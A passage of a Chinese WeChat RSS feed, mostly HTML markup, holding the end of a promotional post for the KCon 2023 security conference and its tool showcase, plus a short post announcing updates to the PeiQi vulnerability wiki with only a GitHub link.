powered-by="xiumi.us"><section style="text-align: center;margin-top: 13px;margin-right: 0%;margin-left: 0%;transform: translate3d(2px, 0px, 0px);"><section style="display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(255, 255, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="display: inline-block;vertical-align: top;width: auto;flex: 100 100 0%;height: auto;margin-right: -20px;margin-left: -20px;"><section style="display: inline-block;width: 100%;vertical-align: top;overflow-x: auto;" powered-by="xiumi.us"><section style="overflow: hidden;width: 400%;max-width: 400% !important;"><section style="display: inline-block;vertical-align: middle;width: 25%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-ratio="0.5618729096989966" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="897" src="https://wechat2rss.xlab.app/img-proxy/?k=8fc972e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRE6CQXV5bE5Q5YrLwah95WU1uGcj95BHXyAtnQS420ianCRibU1d0oJlg%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: top;width: 25%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img data-ratio="0.5612472160356348" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="898" src="https://wechat2rss.xlab.app/img-proxy/?k=0e2aec00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRH2ic4Vxj0AFmkBwZuEfkf6dMeeUKyWIicnLpeYTWMOkrTnIh3qHoPhCw%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: top;width: 25%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img data-ratio="0.5611111111111111" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5c6422fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRiaXs6ZwMiahVNTvGdFibHMAgtMWJl1qyxYjTtr7TzAHbibE4xVUp4DDibeQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: top;width: 25%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img data-ratio="0.5614430665163472" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="887" src="https://wechat2rss.xlab.app/img-proxy/?k=f11c0d55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRJPrjleNiaictGNI9GibKxh8g5qyPtFSXwKCcTRfHKVrwfZDKaMm76mb1g%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section style="transform: perspective(0px);transform-style: flat;" powered-by="xiumi.us"><section style="text-align: right;transform: rotateY(180deg);margin-right: 0%;margin-left: 0%;"><section style="display: inline-block;width: 35px;height: 35px;vertical-align: top;overflow: hidden;border-width: 3px;border-radius: 50%;border-style: solid;border-color: rgb(255, 255, 255);background-color: rgb(224, 64, 45);line-height: 0;"><section style="transform: rotateZ(315deg);" powered-by="xiumi.us"><section style="text-align: center;margin-top: 13px;margin-right: 0%;margin-left: 0%;transform: translate3d(2px, 0px, 0px);"><section style="display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(255, 255, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><section style="margin-top: 5px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="font-size: 12px;color: rgb(184, 143, 138);"><p style="text-align: center;text-wrap: wrap;">往届议题分享现场，左右滑动查看更多</p></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;" powered-by="xiumi.us"><section style="background-color: rgb(209, 64, 51);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 15px;padding-left: 15px;"><section style="transform: perspective(0px);transform-style: flat;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: rotateX(180deg);margin-bottom: -8px;"><section style="display: inline-block;vertical-align: top;width: 50%;align-self: flex-start;flex: 0 0 auto;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 14px;vertical-align: top;overflow: hidden;background-color: rgb(91, 91, 91);border-style: solid;border-width: 2px;border-color: rgb(255, 255, 255);"><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: top;width: 50%;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 14px;vertical-align: top;overflow: hidden;background-color: rgb(91, 91, 91);border-style: solid;border-width: 2px;border-color: rgb(255, 255, 255);"><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(209, 64, 51);padding: 10px 20px;"><section style="text-align: center;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 16px;color: rgb(255, 255, 255);"><p style="text-align: center;text-wrap: wrap;"><strong>兵器谱10大利器同台亮相</strong></p></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="background-color: rgb(255, 255, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);font-size: 16px;"><p style="text-align: center;text-wrap: wrap;"><strong>等你探索</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;" powered-by="xiumi.us"><section style="background-color: rgb(209, 64, 51);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us"><p style="text-wrap: wrap;">网络空间的实战攻防离不开各类自动化工具的运用。这些工具就如同网安战场上的“兵器”，可以为安全人员进行“全副武装”，帮助展示及处理诸多复杂、耗时的安全问题，明确风险、提升效率、加强防御。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">AI大模型的横空出世，带来了新一轮技术工具的进化热潮，网络安全行业也纷纷跟进。KCon一直聚焦当下前沿的研究方向与工具技术，<strong>「兵器谱」</strong>展示环节便是为了鼓励国内安全自动化工具发展而设立。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">在KCon 2023的大会现场，10件由大众评选出的安全神兵利器将同台亮相展区，等待大家的探索。“锻造”出这些“兵器”的网安巧匠也将在展示区为大家讲解演示，传授使用“秘籍”。</p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;transform: translate3d(-2px, 0px, 0px);" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;z-index: auto;line-height: 0;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 20px;height: 7px;vertical-align: top;overflow: hidden;background-color: rgb(62, 62, 62);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(2px, 0px, 0px);margin-top: 2px;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(62, 62, 62);background-color: rgb(250, 224, 74);"><section style="justify-content: flex-start;display: flex;flex-flow: row;margin-top: -5px;margin-bottom: 5px;transform: translate3d(-5px, 0px, 0px);" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(255, 255, 255);border-style: solid;border-width: 1px;border-color: rgb(62, 62, 62);padding: 5px 15px;"><section style="display: flex;width: 100%;flex-flow: column;" powered-by="xiumi.us"><section style="z-index: 2;" powered-by="xiumi.us"><section style="font-size: 16px;color: rgb(62, 62, 62);text-align: center;"><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzIzOTAwNzc1OQ==&amp;mid=2651136401&amp;idx=1&amp;sn=b1ccf108c21e47ebc08ebf3e23310bed&amp;chksm=f2c120f1c5b6a9e70f90c107aef7591a060376bc221c72c014a25909b95357a22b7328caa177&amp;scene=21#wechat_redirect" textvalue="点击了解KCon2023兵器谱" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="color: rgb(93, 90, 79);font-size: 12px;"><em><strong>点击了解KCon2023兵器谱</strong></em></span></a><span style="color: rgb(93, 90, 79);font-size: 12px;"></span></p></section></section></section></section></section></section></section><section style="text-align: left;margin-top: -11px;transform: translate3d(13px, 0px, 0px);" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(62, 62, 62);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;" powered-by="xiumi.us"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-ratio="0.6662804171494786" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=cf2d6f1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrR8d563s8zu2gHV7ZHkaMDDGRBNHQbUA2vPnpSz4psMnibJuANibgiaFibSg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="text-align: center;font-size: 12px;color: rgb(93, 90, 79);" powered-by="xiumi.us"><p><em>往届兵器谱展示</em></p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;" powered-by="xiumi.us"><section style="background-color: rgb(209, 64, 51);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 15px;padding-left: 15px;"><section style="transform: perspective(0px);transform-style: flat;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: rotateX(180deg);margin-bottom: -8px;"><section style="display: inline-block;vertical-align: top;width: 50%;align-self: flex-start;flex: 0 0 auto;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 14px;vertical-align: top;overflow: hidden;background-color: rgb(91, 91, 91);border-style: solid;border-width: 2px;border-color: rgb(255, 255, 255);"><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: top;width: 50%;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 14px;vertical-align: top;overflow: hidden;background-color: rgb(91, 91, 91);border-style: solid;border-width: 2px;border-color: rgb(255, 255, 255);"><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(209, 64, 51);padding: 10px 20px;"><section style="text-align: center;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 16px;color: rgb(255, 255, 255);"><p style="text-align: center;text-wrap: wrap;"><strong>缤纷展区、惊喜大礼</strong></p></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="background-color: rgb(255, 255, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);font-size: 16px;"><p style="text-align: center;text-wrap: wrap;"><strong>不仅有趣也有料</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;" powered-by="xiumi.us"><section style="background-color: rgb(209, 64, 51);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us"><p style="text-wrap: wrap;">KCon 一直以来十分注重极客文化的传播和平台的搭建，每年除主会场外，还会为大家准备别出心裁的版块，让大家在汲取养料的同时，也能释放心灵，充分交流，挖掘机会。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">在会议厅外场，我们为合作伙伴设置了<strong>「特色展区」</strong>，各展台设计了充满挑战与乐趣的活动，等待大家前去探索并赢取特色礼品。他们也将在中场休息时间在<strong>「路演舞台」</strong>上带来精彩的演出活动，希望为大家供应更多欢乐。<strong>「招聘宣传栏」</strong>将展出有需求企业的招聘信息，为正在寻求机会的大家提供渠道。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">另外，<strong>每天</strong>的议程里也为大家安排了<strong>3轮惊喜抽奖</strong>活动，最后一天还<strong>特别设置了惊喜锦鲤奖</strong>，获奖名额众多，福利满满！</p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="display: flex;flex-flow: row;margin-top: 10px;margin-right: 0%;margin-left: 0%;text-align: left;justify-content: flex-start;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;align-self: center;height: auto;z-index: 1;"><section style="text-align: right;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 35px;height: 35px;vertical-align: top;overflow: hidden;border-width: 3px;border-radius: 50%;border-style: solid;border-color: rgb(255, 255, 255);background-color: rgb(224, 64, 45);line-height: 0;"><section style="transform: rotateZ(315deg);" powered-by="xiumi.us"><section style="text-align: center;margin-top: 13px;margin-right: 0%;margin-left: 0%;transform: translate3d(2px, 0px, 0px);"><section style="display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(255, 255, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="display: inline-block;vertical-align: top;width: auto;flex: 100 100 0%;height: auto;margin-right: -20px;margin-left: -20px;"><section style="display: inline-block;width: 100%;vertical-align: top;overflow-x: auto;" powered-by="xiumi.us"><section style="overflow: hidden;width: 200%;max-width: 200% !important;"><section style="display: inline-block;vertical-align: top;width: 50%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-ratio="0.6658415841584159" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="808" src="https://wechat2rss.xlab.app/img-proxy/?k=d9d07dac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRSp33Mjjz8X9YcNyO0VgW1xMNBVW0sFkFDTpwOKalvjY8L9BuoqZbxA%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 50%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img data-ratio="0.6670716889428918" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="823" src="https://wechat2rss.xlab.app/img-proxy/?k=840a8c72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRpuNbZKPiaEKmPwCuFK3lvZYt00IYicB0wyO45lnyvib54Qic6BfvoMK4qA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section style="transform: perspective(0px);transform-style: flat;" powered-by="xiumi.us"><section style="text-align: right;transform: rotateY(180deg);margin-right: 0%;margin-left: 0%;"><section style="display: inline-block;width: 35px;height: 35px;vertical-align: top;overflow: hidden;border-width: 3px;border-radius: 50%;border-style: solid;border-color: rgb(255, 255, 255);background-color: rgb(224, 64, 45);line-height: 0;"><section style="transform: rotateZ(315deg);" powered-by="xiumi.us"><section style="text-align: center;margin-top: 13px;margin-right: 0%;margin-left: 0%;transform: translate3d(2px, 0px, 0px);"><section style="display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(255, 255, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><section style="margin-top: 5px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="font-size: 12px;color: rgb(184, 143, 138);"><p style="text-align: center;text-wrap: wrap;">往届展区盛况，左右滑动查看更多</p></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;" powered-by="xiumi.us"><p style="text-align: justify;text-wrap: wrap;">最后，为大家附上本届KCon时间表。<span style="color: rgb(210, 10, 10);"><strong>火热8月，期待与你共聚KCon现场！</strong></span></p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="7.466666666666667" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=18223c5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el7Sge9Yib17JT0f3U7np7MDNODOg8ksxtHYHl8uNTUIXSHa92Wjv0NXcrRlaz96SkEicaJIQibQGnkgQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="font-size: 14px;letter-spacing: 0px;line-height: 1.75;padding-right: 16px;padding-left: 16px;"><section style="margin: 20px 0% 5px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: 8%;align-self: center;flex: 0 0 auto;"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;" powered-by="xiumi.us"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;"><img data-ratio="0.9" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f9b19293&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRShAYBgQ8QDzLpQZgGjA3OpEDrw5aia0rfqw6N9dzib0du6eoEL1nLsibw%2F640%3Fwx_fmt%3Djpeg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 92%;padding-left: 10px;align-self: center;flex: 0 0 auto;"><section style="margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="font-size: 11px;"><p><strong>点击阅读原文</strong></p><p><strong>立即购票</strong></p></section></section></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://www.4hou.com/tickets/aADO">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=670c6158&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493952%26idx%3D1%26sn%3D4a571e0d8938f9fe9a53d65dc78294b6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 15 Aug 2023 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>PeiQi文库 - Github更新 (5)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493948&amp;idx=1&amp;sn=97695bb795cba03370284ad75b53a935</link>
      <description>PeiQi文库 - Github更新 (5)</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2023-08-13 16:40</span> <span style="display: inline-block;">北京</span>
</p>

<p>PeiQi文库 - Github更新 (5)</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0501e164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXtAB6MribNMdiam6URbZsZhxDl1wczmXsf1Vkw0xYPRXp6Vu6PoA8H7g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><p><img class="rich_pages wxw-img" data-ratio="1" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3acb14ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUdjXwQ2vk0wTGCIb9icVu77fVMtVPreeicnJrIwwfmApVdIID1JrXjeVA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=74667503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cU28BTMkJPoo8JIicIXC49BCdyApGtNkygZJfZicxapw0X9LySnLXc8SIg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">近期更新</span></h2><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/PeiQi0/PeiQi-WIKI-Book</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.14170692431562" data-s="300,640" style="" data-type="png" data-w="1242" src="https://wechat2rss.xlab.app/img-proxy/?k=9807d513&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6yqiazRfVYBZHPpGOj9yXZcVoHeY9sHCRqxc7579sO7CCDyOAx68mZ5ZPz44aAlscNzYSOs8qzjtw%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section><br/></section><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;outline: 0px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="padding-left: 10px;outline: 0px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 